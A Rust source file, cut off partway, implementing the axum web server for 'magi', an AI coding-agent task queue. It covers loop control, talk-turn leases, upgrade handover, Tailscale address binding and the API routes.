1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 resuming: Arc<Mutex<HashSet<String>>>,
325 repos_cache: repos::Cache,
329 machine_config: Option<PathBuf>,
333 merge: Option<String>,
335 looping: Arc<Mutex<LoopState>>,
337 launch: Launch,
349 #[cfg(test)]
352 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
353}
354
355#[cfg(test)]
375struct BusyQueueGate {
376 reached: tokio::sync::oneshot::Sender<()>,
377 release: std::sync::mpsc::Receiver<()>,
378}
379
380#[cfg(test)]
381impl std::fmt::Debug for BusyQueueGate {
382 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
383 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
384 }
385}
386
387impl Ui {
388 pub fn new(
390 queue: Queue,
391 questions: Questions,
392 talks: Talks,
393 runs: PathBuf,
394 home: PathBuf,
395 repo: PathBuf,
396 ) -> Self {
397 Self {
398 queue,
399 questions,
400 notices: Notices::at(home.join("notifications")),
401 talks,
402 runs,
403 home,
404 repo,
405 worktrees_root: run::default_worktree_root(),
409 talk_turns: Arc::default(),
410 resuming: Arc::default(),
411 repos_cache: repos::Cache::new(),
412 machine_config: Config::machine_layer(),
413 merge: None,
414 looping: Arc::default(),
415 launch: launch_daemon,
416 #[cfg(test)]
417 busy_queue_gate: Arc::default(),
418 }
419 }
420
421 pub fn open(repo: PathBuf) -> Self {
424 Self::new(
425 Queue::open(),
426 Questions::open(),
427 Talks::open(),
428 run::runs_root(),
429 run::home(),
430 repo,
431 )
432 }
433
434 #[must_use]
441 pub fn with_merge(mut self, merge: Option<String>) -> Self {
442 self.merge = merge;
443 self
444 }
445
446 #[cfg(test)]
449 #[must_use]
450 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
451 self.machine_config = path;
452 self
453 }
454
455 #[must_use]
460 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
461 self.worktrees_root = root;
462 self
463 }
464
465 #[cfg(test)]
470 #[must_use]
471 fn with_launch(mut self, launch: Launch) -> Self {
472 self.launch = launch;
473 self
474 }
475
476 #[cfg(test)]
486 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
487 *self
488 .busy_queue_gate
489 .lock()
490 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
491 }
492
493 fn looping(&self) -> Arc<Mutex<LoopState>> {
495 Arc::clone(&self.looping)
496 }
497
498 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
505 if let Some(other) = foreign {
506 return Err(ApiError::conflict(format!(
507 "{} is already running the loop, so this one will not start a \
508 second: two loops on one queue race for the same claims and \
509 burn the agent quota twice over. Stop it where it was \
510 started.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 if state.live.as_ref().is_some_and(Live::alive) {
516 return Err(ApiError::conflict(format!(
517 "this magi web process (pid {}) is already running the loop",
518 std::process::id()
519 )));
520 }
521
522 let stop = daemon::Stop::new();
523 let opts = daemon::Opts {
527 repo: self.repo.clone(),
528 merge: self.merge.clone(),
529 worktrees_root: Some(self.worktrees_root.clone()),
536 ..daemon::Opts::default()
537 };
538 let launch = self.launch;
539 let looping = Arc::clone(&self.looping);
540 let handle = tokio::spawn({
541 let opts = opts.clone();
542 let stop = stop.clone();
543 async move {
544 let failure = match launch(opts, stop).await {
545 Ok(()) => None,
546 Err(e) => Some(format!("{e:#}")),
547 };
548 match &failure {
549 Some(why) => tracing::error!("the loop stopped: {why}"),
550 None => tracing::info!("the loop stopped"),
551 }
552 let mut state = lock_or_recover(&looping);
558 state.live = None;
559 state.last_error = failure;
560 state.rev += 1;
561 }
562 });
563 tracing::info!(
564 "the loop is now running in this process: repo {}, merge {}",
565 opts.repo.display(),
566 opts.merge.as_deref().unwrap_or("as the config says")
567 );
568 state.live = Some(Live { stop, handle, opts });
569 state.last_error = None;
572 state.rev += 1;
573 Ok(())
574 }
575
576 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
582 if let Some(other) = foreign {
583 return Err(ApiError::conflict(format!(
584 "the loop belongs to {}, and this process cannot stop it - \
585 stop it where it was started. A button that silently did \
586 nothing would be worse than this refusal.",
587 other.who()
588 )));
589 }
590 let mut state = self.lock_loop();
591 if !park {
594 state.resume_after_handover = false;
595 }
596 let Some(live) = state.live.as_ref() else {
597 return Ok(());
598 };
599 if live.stop.stopped() && (!park || live.stop.parking()) {
603 return Ok(());
604 }
605 if park {
606 live.stop.park();
607 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
608 } else {
609 live.stop.stop();
610 tracing::info!("the loop was asked to stop; a run in flight is finished first");
611 }
612 state.rev += 1;
613 Ok(())
614 }
615
616 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
623 let state = self.lock_loop();
624 let live = state.live.as_ref().filter(|live| live.alive());
627 LoopView {
628 running: live.is_some(),
629 stopping: live.is_some_and(|live| live.stop.finishing()),
630 parking: live.is_some_and(|live| live.stop.parking()),
631 owned: live.is_some(),
632 repo: live
633 .map_or(&self.repo, |live| &live.opts.repo)
634 .display()
635 .to_string(),
636 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
637 last_error: state.last_error.clone(),
638 daemon: DaemonView::of(reading),
639 }
640 }
641
642 fn resume_after_handover(&self, resume: bool) -> bool {
648 if !resume {
649 return false;
650 }
651 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
652 match self.start_loop(foreign) {
653 Ok(()) => true,
654 Err(e) => {
655 let why = format!(
656 "the loop could not be resumed after the upgrade: {}",
657 e.message
658 );
659 tracing::warn!("{why}");
660 let mut state = self.lock_loop();
661 state.last_error = Some(why);
662 state.rev += 1;
663 false
664 }
665 }
666 }
667
668 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
670 lock_or_recover(&self.looping)
671 }
672
673 fn is_thinking(&self, id: &str) -> bool {
679 self.talk_turns
680 .lock()
681 .is_ok_and(|turns| turns.live.contains(id))
682 || self.talks.turn_held(id)
685 }
686
687 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
706 self.claim_talk_turn(id, false)
707 }
708
709 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
712 self.claim_talk_turn(id, true)
713 }
714
715 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
716 let mut live = self
717 .talk_turns
718 .lock()
719 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
720 let inserted = live.live.insert(id.to_owned());
721 let lease = if inserted {
725 match self.talks.claim_turn(id) {
726 Ok(Some(lease)) => Some(lease),
727 Ok(None) => {
728 live.live.remove(id);
729 None
730 }
731 Err(e) => {
732 live.live.remove(id);
733 return Err(ApiError::from(e));
734 }
735 }
736 } else {
737 None
738 };
739 if lease.is_none() {
740 if queued {
741 *live.queued.entry(id.to_owned()).or_default() += 1;
746 }
747 return Ok(None);
748 }
749 Ok(Some(TalkTurnGuard {
750 talk: id.to_owned(),
751 turns: Arc::clone(&self.talk_turns),
752 released: false,
753 lease,
754 }))
755 }
756
757 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
762 let mut live = self
763 .talk_turns
764 .lock()
765 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
766 if live.live.contains(id) {
767 return Ok(TalkTurnStart::Busy);
768 }
769 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
770 return Ok(TalkTurnStart::Foreign);
771 };
772 let talk = self.talks.get(id).map_err(ApiError::from)?;
774 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
775 return Ok(TalkTurnStart::Pending);
776 }
777 live.live.insert(id.to_owned());
778 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
779 talk: id.to_owned(),
780 turns: Arc::clone(&self.talk_turns),
781 released: false,
782 lease: Some(lease),
783 }))
784 }
785
786 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
793 let parking = {
794 let mut state = self.lock_loop();
795 let resume = state.resume_after_handover
805 || state
806 .live
807 .as_ref()
808 .is_some_and(|live| live.alive() && !live.stop.stopped());
809 state.resume_after_handover = resume;
810 let Some(live) = state.live.as_ref() else {
811 return Ok(None);
812 };
813 let busy = live.stop.busy_now();
814 live.stop.park();
815 state.rev += 1;
816 busy
817 };
818 Ok(if parking {
819 daemon::current_work(&self.home, jiff::Timestamp::now())
824 .into_iter()
825 .next()
826 .map(|c| c.run)
827 } else {
828 None
829 })
830 }
831
832 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
836 let mut live = self
837 .resuming
838 .lock()
839 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
840 if !live.insert(id.to_owned()) {
841 return Err(ApiError::conflict(format!(
842 "run {id} is already being resumed"
843 )));
844 }
845 Ok(ResumeGuard {
846 run: id.to_owned(),
847 resuming: Arc::clone(&self.resuming),
848 })
849 }
850
851 pub fn router(self) -> Router {
859 Router::new()
860 .route("/", get(index))
861 .route("/app.css", get(app_css))
862 .route("/app.js", get(app_js))
863 .route("/api/health", get(health))
864 .route("/api/loop", get(loop_get).post(loop_post))
865 .route("/api/upgrade", post(upgrade_post))
866 .route("/api/runs", get(runs_list))
867 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
868 .route("/api/runs/{id}/report", get(run_report))
869 .route("/api/runs/{id}/report.json", get(run_report_json))
870 .route("/api/runs/{id}/fold", post(run_fold))
871 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
872 .route("/api/runs/{id}/resume", post(run_resume))
873 .route("/api/queue", get(queue_list))
874 .route("/api/search", get(search_get))
875 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
876 .route("/api/stats", get(stats_get))
877 .route("/api/repos", get(repos_list))
878 .route("/api/settings", get(settings_get))
879 .route("/api/settings/roles", put(settings_put_roles))
880 .route("/api/queue/{id}/hold", post(queue_hold))
881 .route("/api/queue/{id}/release", post(queue_release))
882 .route("/api/queue/{id}/priority", post(queue_priority))
883 .route("/api/queue/{id}/edit", post(queue_edit))
884 .route("/api/queue/{id}/done", post(queue_done))
885 .route("/api/questions", get(questions_list))
886 .route("/api/questions/{id}/answer", post(question_answer))
887 .route("/api/questions/{id}/say", post(question_say))
888 .route("/api/questions/{id}/consult", post(question_consult))
889 .route("/api/questions/{id}/panel", get(question_panel))
890 .route("/api/questions/{id}/panel/index.html", get(question_panel))
898 .route("/api/questions/{id}/panel/{name}", get(question_asset))
899 .route("/api/questions/{id}/asset/{name}", get(question_asset))
900 .route("/api/notifications", get(notifications_list))
901 .route("/api/notifications/read-all", post(notifications_read_all))
902 .route("/api/notifications/{id}/read", post(notification_read))
903 .route(
904 "/api/notifications/{id}/dismiss",
905 post(notification_dismiss),
906 )
907 .route("/api/talks", get(talks_list).post(talk_post))
908 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
909 .route("/api/talks/{id}/say", post(talk_say))
910 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
911 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
912 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
913 .route("/api/talks/{id}/agent", post(talk_agent))
914 .route("/api/talks/{id}/persona", post(talk_persona))
915 .route("/api/talks/{id}/close", post(talk_close))
916 .route("/api/talks/{id}/reopen", post(talk_reopen))
917 .route(
923 "/api/talks/{id}/attachments",
924 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
925 )
926 .route(
927 "/api/talks/{id}/attachments/{att}",
928 get(talk_attachment_get),
929 )
930 .route("/api/events", get(events))
931 .with_state(Arc::new(self))
932 }
933}
934
935#[derive(Debug)]
941struct TalkTurnGuard {
942 talk: String,
943 turns: Arc<Mutex<TalkTurns>>,
944 released: bool,
945 lease: Option<crate::talk::TurnLease>,
947}
948
949#[derive(Debug, Default)]
956struct TalkTurns {
957 live: HashSet<String>,
958 queued: HashMap<String, u64>,
959}
960
961enum TalkTurnStart {
964 Claimed(TalkTurnGuard),
965 Busy,
966 Foreign,
969 Pending,
970}
971
972impl TalkTurnGuard {
973 fn owns(&self) -> bool {
977 self.lease
978 .as_ref()
979 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
980 }
981
982 async fn respond(
985 &self,
986 talk: &mut Talk,
987 talks: &Talks,
988 cfg: &Config,
989 text: &str,
990 ) -> anyhow::Result<()> {
991 let lease = self
992 .lease
993 .as_ref()
994 .context("the turn guard no longer holds its lease")?;
995 talk::respond(lease, talk, talks, cfg, text).await
996 }
997
998 fn release(mut self, live: &mut TalkTurns) {
1001 live.live.remove(&self.talk);
1002 live.queued.remove(&self.talk);
1003 self.lease = None;
1004 self.released = true;
1005 }
1006}
1007
1008impl Drop for TalkTurnGuard {
1009 fn drop(&mut self) {
1010 if self.released {
1011 return;
1012 }
1013 if let Ok(mut live) = self.turns.lock() {
1014 live.live.remove(&self.talk);
1015 live.queued.remove(&self.talk);
1016 }
1017 }
1018}
1019
1020struct ResumeGuard {
1022 run: String,
1023 resuming: Arc<Mutex<HashSet<String>>>,
1024}
1025
1026impl Drop for ResumeGuard {
1027 fn drop(&mut self) {
1028 if let Ok(mut live) = self.resuming.lock() {
1029 live.remove(&self.run);
1030 }
1031 }
1032}
1033
1034async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1044 const WINDOW: Duration = Duration::from_secs(10);
1045 const GAP: Duration = Duration::from_millis(250);
1046
1047 let deadline = std::time::Instant::now() + WINDOW;
1048 let mut said = false;
1049 loop {
1050 match tokio::net::TcpListener::bind(socket).await {
1051 Ok(listener) => return Ok(listener),
1052 Err(e)
1053 if e.kind() == std::io::ErrorKind::AddrInUse
1054 && std::time::Instant::now() < deadline =>
1055 {
1056 if !said {
1057 said = true;
1058 tracing::info!(
1059 "{socket} is still held - waiting up to {}s for it, \
1060 which is what a restart looks like from here",
1061 WINDOW.as_secs()
1062 );
1063 }
1064 tokio::time::sleep(GAP).await;
1065 }
1066 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1067 }
1068 }
1069}
1070
1071static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1074
1075const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1077
1078fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1080 value.is_some_and(|v| v == "1")
1081}
1082
1083fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1106 let exe = std::env::current_exe().context("find this binary")?;
1107 let args: Vec<String> = std::env::args().skip(1).collect();
1108 updater::log_step(
1109 home,
1110 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1111 );
1112 let log_path = home.join(WEB_LOG);
1113 let open_log = || {
1114 std::fs::create_dir_all(home)?;
1115 std::fs::OpenOptions::new()
1116 .create(true)
1117 .append(true)
1118 .open(&log_path)
1119 };
1120 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1121 Ok(pair) => (
1122 std::process::Stdio::from(pair.0),
1123 std::process::Stdio::from(pair.1),
1124 ),
1125 Err(e) => {
1126 updater::log_warn(
1127 home,
1128 &format!(
1129 "could not open {}: {e}; the successor logs nowhere",
1130 log_path.display()
1131 ),
1132 );
1133 (std::process::Stdio::null(), std::process::Stdio::null())
1134 }
1135 };
1136
1137 let mut cmd = std::process::Command::new(&exe);
1138 if resume {
1139 cmd.env(RESUME_LOOP_ENV, "1");
1140 } else {
1141 cmd.env_remove(RESUME_LOOP_ENV);
1142 }
1143 cmd.args(&args)
1144 .stdin(std::process::Stdio::null())
1145 .stdout(out)
1146 .stderr(err);
1147 #[cfg(windows)]
1148 {
1149 use std::os::windows::process::CommandExt as _;
1150 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1153 }
1154 let child = cmd.spawn().context("start the successor")?;
1155 Ok(child.id())
1156}
1157
1158const WEB_LOG: &str = "web.log";
1160
1161async fn wait_for_handover(signal: &Notify) {
1165 signal.notified().await;
1166}
1167
1168pub async fn serve(opts: Opts) -> Result<()> {
1193 let (addr, warning) = resolve_bind(&opts.bind);
1194 if let Some(warning) = warning {
1195 tracing::warn!("{warning}");
1196 }
1197
1198 report::set_color(false);
1204
1205 let repo = normalize_default_repo(opts.repo).await;
1206 let ui = Ui::open(repo).with_merge(opts.merge);
1207 let home = ui.home.clone();
1212 let repo = ui.repo.clone();
1213 updater::reconcile_after_restart(&home);
1218 updater::log_step(
1219 &home,
1220 &format!(
1221 "web process started (version {}); handover log {}, successor output {}",
1222 env!("CARGO_PKG_VERSION"),
1223 updater::log_path(&home).display(),
1224 home.join(WEB_LOG).display()
1225 ),
1226 );
1227 updater::spawn_watchdog(home.clone());
1228 tokio::spawn(run_update_recheck(repo, home.clone()));
1237 let looping = ui.looping();
1238 let socket = SocketAddr::new(addr, opts.port);
1239 let listener = bind_waiting(socket).await?;
1240 let url = format!("http://{addr}:{}", opts.port);
1241 tracing::info!(
1242 "magi web UI on {url} - there is no authentication, so anyone who can \
1243 reach this address can file and hold tasks: the tailnet is the \
1244 security boundary"
1245 );
1246 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1247 tracing::info!("resumed the loop the predecessor was running");
1248 } else {
1249 tracing::info!(
1250 "the queue loop is not running yet - start it from the UI, which is \
1251 the whole reason this process can: nothing in the queue moves until \
1252 something is running the loop"
1253 );
1254 }
1255 if opts.open {
1256 println!("{url}");
1260 }
1261
1262 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1265 let interrupted = async {
1266 if tokio::signal::ctrl_c().await.is_err() {
1267 std::future::pending::<()>().await;
1272 }
1273 };
1274 let handover = wait_for_handover(&HANDOVER);
1275 let outcome = tokio::select! {
1276 joined = &mut served => match joined {
1277 Ok(outcome) => outcome.context("serve the web UI"),
1278 Err(e) => Err(e).context("the task serving the web UI ended"),
1279 },
1280 () = interrupted => {
1281 tracing::info!("shutting down the web UI");
1282 finish_loop(&home, &looping, None).await;
1283 Ok(())
1284 }
1285 () = handover => {
1286 updater::log_step(&home, "serve: the select! woke on the handover signal");
1287 let successor_home = home.clone();
1288 hand_over(&home, &looping, served, move |resume| {
1289 spawn_successor(&successor_home, resume)
1290 })
1291 .await
1292 }
1293 };
1294 updater::log_step(
1295 &home,
1296 &match &outcome {
1297 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1298 Err(e) => format!("serve: returning an error: {e:#}"),
1299 },
1300 );
1301 outcome
1302}
1303
1304async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1325 if repo != FsPath::new(".") {
1326 return repo;
1327 }
1328 let Ok(canonical) = repo.canonicalize() else {
1329 return repo;
1330 };
1331 if git::toplevel(&canonical).await.is_ok() {
1332 return repo;
1333 }
1334 let Some(home) = dirs::home_dir() else {
1335 return repo;
1336 };
1337 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1338 Some(found) => {
1339 tracing::info!(
1340 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1341 canonical.display(),
1342 found.path.display(),
1343 found.reason,
1344 );
1345 found.path
1346 }
1347 None => repo,
1348 }
1349}
1350
1351async fn hand_over(
1381 home: &FsPath,
1382 looping: &Mutex<LoopState>,
1383 served: tokio::task::JoinHandle<std::io::Result<()>>,
1384 successor: impl FnOnce(bool) -> Result<u32>,
1385) -> Result<()> {
1386 updater::log_step(home, "hand_over: entered; writing the parking stage");
1387 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1391 if !recorded {
1392 updater::log_warn(
1393 home,
1394 "hand_over: upgrade.json is unreadable; no parking stage",
1395 );
1396 }
1397 finish_loop(home, looping, Some(&mut lease)).await;
1398 drop(lease);
1399 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1400 served.abort();
1401 let _ = served.await;
1402 updater::log_step(home, "hand_over: listener released");
1403 let resume = lock_or_recover(looping).resume_after_handover;
1406 match updater::read_progress(home) {
1407 Some(mut progress) => {
1408 progress.advance(updater::Stage::Restarting);
1409 updater::write_progress_logged(home, &progress);
1410 }
1411 None => updater::log_warn(
1412 home,
1413 "hand_over: upgrade.json is unreadable; no restarting stage",
1414 ),
1415 }
1416 updater::log_step(
1417 home,
1418 &format!("hand_over: starting the successor (resume={resume})"),
1419 );
1420 match successor(resume) {
1421 Ok(pid) => {
1422 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1423 Ok(())
1424 }
1425 Err(e) => {
1426 updater::log_warn(
1427 home,
1428 &format!("hand_over: the successor did not start: {e:#}"),
1429 );
1430 Err(e)
1431 }
1432 }
1433}
1434
1435const LEASE_BEAT: Duration = Duration::from_secs(20);
1438
1439async fn finish_loop(
1446 home: &FsPath,
1447 state: &Mutex<LoopState>,
1448 mut lease: Option<&mut updater::LeaseGuard>,
1449) {
1450 let live = lock_or_recover(state).live.take();
1451 let Some(live) = live else {
1452 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1453 return;
1454 };
1455 live.stop.stop();
1456 lock_or_recover(state).rev += 1;
1457 updater::log_step(
1458 home,
1459 "finish_loop: waiting for the loop to finish the run in flight",
1460 );
1461 let waited = std::time::Instant::now();
1462 let mut handle = live.handle;
1465 let mut beat = tokio::time::interval(LEASE_BEAT);
1466 loop {
1467 tokio::select! {
1468 _ = &mut handle => break,
1469 _ = beat.tick() => {
1470 if let Some(lease) = lease.as_deref_mut() {
1471 lease.beat();
1472 }
1473 }
1474 }
1475 }
1476 updater::log_step(
1477 home,
1478 &format!(
1479 "finish_loop: the loop ended after {:.1}s",
1480 waited.elapsed().as_secs_f32()
1481 ),
1482 );
1483}
1484
1485pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1491 match bind {
1492 Bind::Addr(addr) => (*addr, None),
1493 Bind::Auto => match tailscale_ip() {
1494 Ok(ip) => (IpAddr::V4(ip), None),
1495 Err(why) => (
1496 IpAddr::V4(Ipv4Addr::LOCALHOST),
1497 Some(format!(
1498 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1499 local-only and a phone cannot reach it; start Tailscale \
1500 or pass --bind <addr>"
1501 )),
1502 ),
1503 },
1504 }
1505}
1506
1507fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1515 let out = std::process::Command::new("tailscale")
1516 .args(["ip", "-4"])
1517 .quiet()
1518 .output()
1519 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1520 if !out.status.success() {
1521 let why = String::from_utf8_lossy(&out.stderr);
1522 let why = why.trim();
1523 return Err(format!(
1524 "`tailscale ip -4` failed ({}){}",
1525 out.status,
1526 if why.is_empty() {
1527 String::new()
1528 } else {
1529 format!(": {why}")
1530 }
1531 ));
1532 }
1533 String::from_utf8_lossy(&out.stdout)
1534 .lines()
1535 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1536 .find(is_tailnet)
1537 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1538}
1539
1540fn is_tailnet(ip: &Ipv4Addr) -> bool {
1542 let o = ip.octets();
1543 o[0] == 100 && (64..=127).contains(&o[1])
1544}
1545
1546type ApiResult<T> = std::result::Result<T, ApiError>;
1550
1551#[derive(Debug)]
1553struct ApiError {
1554 status: StatusCode,
1555 message: String,
1556}
1557
1558impl ApiError {
1559 fn bad_request(message: impl Into<String>) -> Self {
1561 Self {
1562 status: StatusCode::BAD_REQUEST,
1563 message: message.into(),
1564 }
1565 }
1566
1567 fn not_found(message: impl Into<String>) -> Self {
1569 Self {
1570 status: StatusCode::NOT_FOUND,
1571 message: message.into(),
1572 }
1573 }
1574
1575 fn with_status(mut self, status: StatusCode) -> Self {
1578 self.status = status;
1579 self
1580 }
1581
1582 fn bad_request_from(e: anyhow::Error) -> Self {
1586 Self::bad_request(format!("{e:#}"))
1587 }
1588
1589 fn conflict(message: impl Into<String>) -> Self {
1590 Self {
1591 status: StatusCode::CONFLICT,
1592 message: message.into(),
1593 }
1594 }
1595
1596 fn internal(message: impl Into<String>) -> Self {
1598 Self {
1599 status: StatusCode::INTERNAL_SERVER_ERROR,
1600 message: message.into(),
1601 }
1602 }
1603}
1604
1605impl From<anyhow::Error> for ApiError {
1606 fn from(e: anyhow::Error) -> Self {
1611 Self::internal(format!("{e:#}"))
1612 }
1613}
1614
1615impl IntoResponse for ApiError {
1616 fn into_response(self) -> Response {
1617 let body = serde_json::json!({ "error": self.message });
1618 (self.status, Json(body)).into_response()
1619 }
1620}
1621
1622async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1631where
1632 T: Send + 'static,
1633{
1634 match tokio::task::spawn_blocking(job).await {
1635 Ok(result) => result,
1636 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1637 }
1638}
1639
1640const ASSET_CACHE: &str = "no-cache, must-revalidate";
1658
1659fn asset_etag() -> &'static str {
1666 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1667 format!(
1668 "\"{}-{}\"",
1669 env!("CARGO_PKG_VERSION"),
1670 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1675 )
1676 });
1677 &TAG
1678}
1679
1680fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1682 [
1683 (header::CONTENT_TYPE, mime),
1684 (header::CACHE_CONTROL, ASSET_CACHE),
1685 (header::ETAG, asset_etag()),
1686 ]
1687}
1688
1689fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1697 let tag = asset_etag();
1698 let known = headers
1699 .get(header::IF_NONE_MATCH)
1700 .and_then(|v| v.to_str().ok())
1701 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1705 if known {
1706 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1707 }
1708 (asset_headers(mime), body).into_response()
1709}
1710
1711async fn index(headers: header::HeaderMap) -> Response {
1712 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1713}
1714
1715async fn app_css(headers: header::HeaderMap) -> Response {
